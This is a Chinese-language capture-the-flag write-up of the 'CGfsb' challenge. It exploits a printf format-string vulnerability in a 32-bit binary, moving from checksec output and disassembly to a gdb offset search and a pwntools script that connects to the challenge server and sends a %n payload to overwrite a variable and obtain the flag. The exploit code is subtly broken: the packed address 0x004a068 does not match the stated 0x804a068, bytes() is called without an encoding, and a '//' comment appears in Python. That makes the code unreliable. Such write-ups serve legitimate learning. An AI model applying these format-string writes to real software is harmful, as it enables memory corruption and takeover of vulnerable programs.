

## 攻防世界 新手 PWN----CGfsb

题目中暗示使用 `printf` 的 `format string` 漏洞。漏洞详解可参照[链接](#)

首先用checksec命令检查可执行文件。

```
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

发现栈不可执行，且有金丝雀保护。但是没有开始地址随机化。

本地执行程序测试，执行报错 `No such file or directory`，通过搜索查到，因为此程序是32位程序，在64位机器上缺少动态运行库，通过命令 `sudo apt install libc6-i386` 可解决。

main函数猜测源码如下

```
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
}
else
{
    puts("Thank you!");
}
```

因为没有开启地址随机，由汇编可得pwnme变量地址0X804a068。

80486a6:	8d 44 24 1e	lea	0x1e(%esp),%eax
80486aa:	89 44 24 04	mov	%eax,0x4(%esp)
80486ae:	c7 04 24 f5 87 04 08	movl	\$0x80487f5, (%esp)
80486b5:	e8 a6 fd ff ff	call	8048460 <printf@plt>
80486ba:	c7 04 24 fe 87 04 08	movl	\$0x80487fe, (%esp)
80486c1:	e8 ca fd ff ff	call	8048490 <puts@plt>
80486c6:	8d 44 24 28	lea	0x28(%esp),%eax
80486ca:	89 04 24	mov	%eax, (%esp)
80486cd:	e8 8e fd ff ff	call	8048460 <printf@plt>
80486d2:	a1 68 a0 04 08	mov	0x804a068,%eax
80486d7:	83 f8 08	cmp	\$0x8,%eax
80486da:	75 1a	jne	80486f6 <main+0x129>

通过上述分析可知，只要使得pwnme的值为8即可获得flag。

通过在message的地方输入 `AAAA.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x\n`，得printf第一个参数（即格式化字符串地址）存放地址与格式化字符串相隔10个距离。

```

[-----stack-----]
0000| 0xffffd0f0 --> 0xffffd118 ("AAAA.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x\n")
0004| 0xffffd0f4 --> 0xffffd10e ("liu\n")
0008| 0xffffd0f8 --> 0xf7fb9580 --> 0xfbad208b
0012| 0xffffd0fc --> 0x1
0016| 0xffffd100 --> 0x0
0020| 0xffffd104 --> 0x1
0024| 0xffffd108 --> 0xf7ffd940 --> 0x0
0028| 0xffffd10c --> 0x696c0001
[-----]
Legend: code, data, rodata, value

Breakpoint 2, 0x080486cd in main ()
gdb-peda$ x/16x $esp
0xffffd0f0:    0xffffd118    0xffffd10e    0xf7fb9580    0x00000001
0xffffd100:    0x00000000    0x00000001    0xf7ffd940    0x696c0001
0xffffd110:    0x000000a75    0x00000000    0x41414141    0x7838252e
0xffffd120:    0x7838252e    0x7838252e    0x7838252e    0x7838252e
gdb-peda$ q

```

可使用格式化字符串漏洞改写该变量。

```

from pwn import *

context.log_level = "DEBUG"
addr = p32(0x004a068)

# p = process("./hello")
p = remote("111.198.29.45", 32277)
p.recvuntil("please tell me your name:\n")
p.send("liu")
p.recvuntil("leave your message please:\n")
p.send(addr + bytes("aaaa%10$n")) // addr占4个byte, 字符串aaaa占4个byte

p.interactive()

```